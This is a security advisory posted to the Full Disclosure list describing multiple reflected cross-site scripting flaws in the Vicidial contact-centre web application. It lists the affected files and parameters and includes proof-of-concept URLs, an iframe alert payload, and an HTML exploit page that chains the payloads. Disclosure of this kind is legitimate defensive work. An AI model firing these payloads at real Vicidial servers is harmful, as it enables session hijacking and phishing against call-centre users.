[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Vicidial v2.14-783a - Multiple XSS Web Vulnerabilities



Document Title:
===============
Vicidial v2.14-783a - Multiple XSS Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2311


Release Date:
=============
2022-10-11


Vulnerability Laboratory ID (VL-ID):
====================================
2311


Common Vulnerability Scoring System:
====================================
5.2


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
VICIDIAL is a software suite that is designed to interact with the Asterisk 
Open-Source PBX Phone system to act
as a complete inbound/outbound contact center suite with inbound email support 
as well. The agent interface is an
interactive set of web pages that work through a web browser to give real-time 
information and functionality with
nothing more than an internet browser on the client computer. The management 
interface is also web-based and
offers the ability to view many real-time and summary reports as well as many 
detailed campaign and agent options
and settings. VICIDIAL can function as an ACD for inbound calls or for Closer 
calls coming from VICIDIAL outbound
fronters and even allows for remote agents logging in from remote locations as 
well as remote agents that may only
have a phone. There are currently over 24,000 installations of VICIDIAL in 
production in over 100 countries around
the world, several with over 300 agent seats and many with multiple locations.

(Copy of the Homepage:https://www.vicidial.org/vicidial.php  )
(Download:https://www.vicidial.org/vicidial.php  )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client-site 
cross site scripting vulnerabilities in the VICIDIAL v2.14-783a web-application.

Affected Product(s):
====================
Vicidial Group
Product: Vicidial v2.14-783a - (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2022-01-15: Researcher Notification & Coordination (Security Researcher)
2022-01-16: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2022-10-11: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
Multiple non-persistent cross site scripting web vulnerabilities has been 
discovered in the official VICIDIAL v2.14-783a web-application.
The vulnerability allows remote attackers to inject malicious script code in 
post method requests to compromise user session data
or to manipulate application contents for clients.

The vulnerabilities are located in the `end_date`, `query_date`, `shift`, 
`type`, `use_lists`,  `search_archived_data`, `start_hour`, `end_hour`,
`stage`, `agent`, `user`, `db` parameters of the vulnerable `AST_IVRstats.php`, 
`AST_LISTS_pass_report.php`, `AST_user_group_hourly_detail.php`,
`AST_agent_time_sheet.php`, `AST_agent_days_detail.php`, `user_status.php`, 
`admin_lists_custom.php` and `admin.php` files. Remote attackers
are able to create special crafted malicious links to execute client-side 
script code from the application context. The request method to inject
is GET and the attack vector is non-persistent. The identified web 
vulnerabilities are classic cross site scripting issues.

Successful exploitation of the vulnerability results in session hijacking, 
non-persistent phishing attacks, non-persistent external redirects to
malicious source and non-persistent manipulation of affected application 
modules.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] AST_IVRstats.php
[+] AST_LISTS_pass_report.php
[+] AST_user_group_hourly_detail.php
[+] AST_agent_time_sheet.php
[+] AST_agent_days_detail.php
[+] user_status.php
[+] admin_lists_custom.php
[+] admin.php

Vulnerable Parameter(s):
[+] end_date
[+] query_date
[+] shift
[+] type
[+] use_lists
[+] search_archived_data
[+] start_hour
[+] end_hour
[+] stage
[+] agent
[+] user
[+] db

Affected Module(s):
[+] Backend Administration Web UI (Agents, Managers & Admins)


Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by remote 
attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site web vulnerability 
follow the provided information and steps below to continue.


Vulnerable Source: (PoC - IVR Report)
</td><td rowspan="2" valign="TOP">
<font size="2" face="ARIAL,HELVETICA" color="BLACK"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
<a href="/vicidial_demo/AST_IVRstats.php?DB=&amp;
type=inbound&amp;query_date=2022-01-16&amp;end_date=2022-01-16&amp;query_date_D=2022-01-16&amp;query_date_T=
&amp;end_date_D=2022-01-16&amp;end_date_T=&amp;shift=[MALICIOUS SCRIPT CODE EXECUTION POINT!]"><iframe 
src="evil.source" onload="alert(document.domain)"></iframe>
&amp;file_download=1&amp;search_archived_data="&gt;DOWNLOAD</a> | <a 
href="./admin.php?ADD=3111&amp;group_id=">MODIFY</a> |
<a href="./admin.php?ADD=999999">REPORTS</a> | <a 
href="./AST_CLOSERstats.php?query_date=2022-01-16&amp;
end_date=2022-01-16&amp;shift=">[MALICIOUS SCRIPT CODE EXECUTION POINT!]<iframe src="evil.source" 
onload="alert(document.domain)"></iframe>"&gt;CLOSER REPORT</a>
</font>
</td></tr>


PoC: Payload
<iframe src=evil.source onload=alert(document.domain)></iframe>


PoC: Vulnerable Parameters
https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=+00%3A00%3A00&end_date[XSS]+23%3A59%3A59&query_date_D=
&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML

https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=[XSS]+00%3A00%3A00&end_date+23%3A59%3A59&query_date_D=
&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML

https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D=
&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift[XSS]&report_display_type=HTML

https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=[XSS]&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D=
&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML

https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=[XSS]&type=inbound&query_date=+00%3A00%3A00&end_date+23%3A59%3A59&query_date_D=
&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML

https://vicidial.localhost:8080/vicidial/AST_LISTS_pass_report.php?DB=&use_lists=[XSS]&report_display_type=HTML&SUBMIT=SUBMIT
https://vicidial.localhost:8080/vicidial/admin.php?query_date[XSS]&end_date=2022-01-04&max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL
https://vicidial.localhost:8080/vicidial/admin.php?query_date=2021-12-06&end_date=[XSS]&max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL
https://vicidial.localhost:8080/vicidial/AST_user_group_hourly_detail.php?DB=&query_date=2022-01-04&start_hour=16&end_hour=16&SUBMIT=&search_archived_data=[XSS]
https://vicidial.localhost:8080/vicidial/AST_user_group_hourly_detail.php?DB=&query_date=2022-01-04&start_hour=[XSS]&end_hour=[XSS]&file_download=1&SUBMIT=&search_archived_data=
https://vicidial.localhost:8080/vicidial/AST_agent_time_sheet.php?query_date=[XSS]&agent=[XSS]&SUBMIT=SUBMIT
https://vicidial.localhost:8080/vicidial/user_status.php?user=[XSS]
https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=2022-01-15&end_date=2022-01-15&group[]=--ALL--&shift=[XSS]
https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=2022-01-15&end_date=[XSS]&group[]=--ALL--&shift=ALL
https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=[XSS]&end_date=2022-01-15&group[]=--ALL--&shift=ALL
https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?DB=&query_date=2022-01-15&end_date=2022-01-15&group%5B%5D=0408&report_display_type=TEXT&user=[XSS]&shift=ALL&SUBMIT=SUBMIT
https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?query_date=2022-01-15&end_date=2022-01-15&shift=ALL&DB=&user=8178&group[]=0408&search_archived_data=&report_display_type=TEXT&stage=[XSS]
https://vicidial.localhost:8080/vicidial/AST_agent_time_sheet.php?query_date=2022-01-15&agent=[XSS]&SUBMIT=SUBMIT
https://vicidial.localhost:8080/vicidial/admin_lists_custom.php?action=DELETE_CUSTOM_FIELD_CONFIRMATION&list_id=108&field_id=133&field_label=idcliente&field_type=TEXT&field_duplicate=N&DB=[XSS]



PoC: Exploitation
<html>
<head><body>
<title>vicidial xss exploit</title>
<iframe 
src"https://vicidial.localhost:8080/vicidial/admin_lists_custom.php?action=DELETE_CUSTOM_FIELD_CONFIRMATION&list_id=108&field_id=133&field_label=idcliente
&field_type=TEXT&field_duplicate=N&DB=<iframe src=evil.source 
onload=alert(document.domain)></iframe>"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_agent_time_sheet.php?query_date=2022-01-15&agent=<iframe 
src=evil.source onload=alert(document.domain)></iframe>&SUBMIT=SUBMIT"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?query_date=2022-01-15&end_date=2022-01-15&shift=ALL&DB=&user=8178&group[]=0408&search_archived_data=
&report_display_type=TEXT&stage=<iframe src=evil.source 
onload=alert(document.domain)></iframe>"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?DB=&query_date=2022-01-15&end_date=2022-01-15&group%5B%5D=0408&report_display_type=TEXT&user=<iframe
 src=evil.source onload=alert(document.domain)></iframe>&shift=ALL&SUBMIT=SUBMIT"></iframe>
<iframe src"https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=<iframe 
src=evil.source 
onload=alert(document.domain)></iframe>&end_date=2022-01-15&group[]=--ALL--&shift=ALL"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=2022-01-15&end_date=<iframe
 src=evil.source onload=alert(document.domain)></iframe>&group[]=--ALL--&shift=ALL"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=2022-01-15&end_date=2022-01-15&group[]=--ALL--&shift=<iframe
 src=evil.source onload=alert(document.domain)></iframe>"></iframe>
<iframe src"https://vicidial.localhost:8080/vicidial/user_status.php?user=<iframe src=evil.source 
onload=alert(document.domain)></iframe>"></iframe>
<iframe src"https://vicidial.localhost:8080/vicidial/AST_agent_time_sheet.php?query_date=<iframe src=evil.source 
onload=alert(document.domain)></iframe>&agent=<iframe src=evil.source 
onload=alert(document.domain)></iframe>&SUBMIT=SUBMIT"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_user_group_hourly_detail.php?DB=&query_date=2022-01-04&start_hour=<iframe
 src=evil.source onload=alert(document.domain)></iframe>
&end_hour=<iframe src=evil.source 
onload=alert(document.domain)></iframe>&file_download=1&SUBMIT=&search_archived_data="></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/admin.php?query_date=2021-12-06&end_date=<iframe
 src=evil.source onload=alert(document.domain)></iframe>
&max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL"></iframe>
<iframe src"https://vicidial.localhost:8080/vicidial/admin.php?query_date<iframe 
src=evil.source onload=alert(document.domain)></iframe>&end_date=2022-01-04
&max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL"></iframe>
<iframe src"https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=<iframe 
src=evil.source onload=alert(document.domain)></iframe>
&type=inbound&query_date=+00%3A00%3A00&end_date+23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL
&report_display_type=HTML"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=+00%3A00%3A00
&end_date<iframe src=evil.source 
onload=alert(document.domain)></iframe>+23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00
&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML
"></iframe>
<iframe 
src"https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59
&query_date_D=&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift<iframe
 src=evil.source onload=alert(document.domain)></iframe>
&report_display_type=HTML"></iframe>
<iframe src"https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=
&type=<iframe src=evil.source 
onload=alert(document.domain)></iframe>&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59
&shift=ALL&report_display_type=HTML"></iframe>
</body></head>
</html>


Security Risk:
==============
The security risk of the cross site scripting web vulnerabilities in the 
vicidial web-application are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] 
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been 
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or 
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data.

Domains:        https://www.vulnerability-lab.com  ;    
https://www.vuln-lab.com  ;https://www.vulnerability-db.com

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All 
pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the 
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

                                    Copyright © 2022 | Vulnerability Laboratory - 
[Evolution Security GmbH]™



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

Attachment: OpenPGP_0x95DC813F243F1D61.asc
Description: OpenPGP public key

Attachment: OpenPGP_signature
Description: OpenPGP digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/